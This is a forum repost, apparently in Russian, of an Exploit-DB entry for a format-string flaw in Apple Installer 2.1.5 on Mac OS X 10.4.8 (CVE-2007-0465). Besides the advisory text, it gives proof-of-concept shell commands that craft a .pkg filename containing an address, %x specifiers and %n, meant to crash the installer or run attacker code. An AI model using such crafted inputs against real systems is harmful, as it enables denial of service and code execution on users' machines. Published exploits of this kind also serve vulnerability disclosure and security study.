Exploit Apple Installer Package 2.1.5 - Filename Format String

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
29532
Проверка EDB
  1. Пройдено
Автор
LMH
Тип уязвимости
DOS
Платформа
OSX
CVE
cve-2007-0465
Дата публикации
2007-01-27
Apple Installer Package 2.1.5 - Filename Format String
Код:
source: https://www.securityfocus.com/bid/22272/info

Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. 

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg
 
Источник
www.exploit-db.com

Похожие темы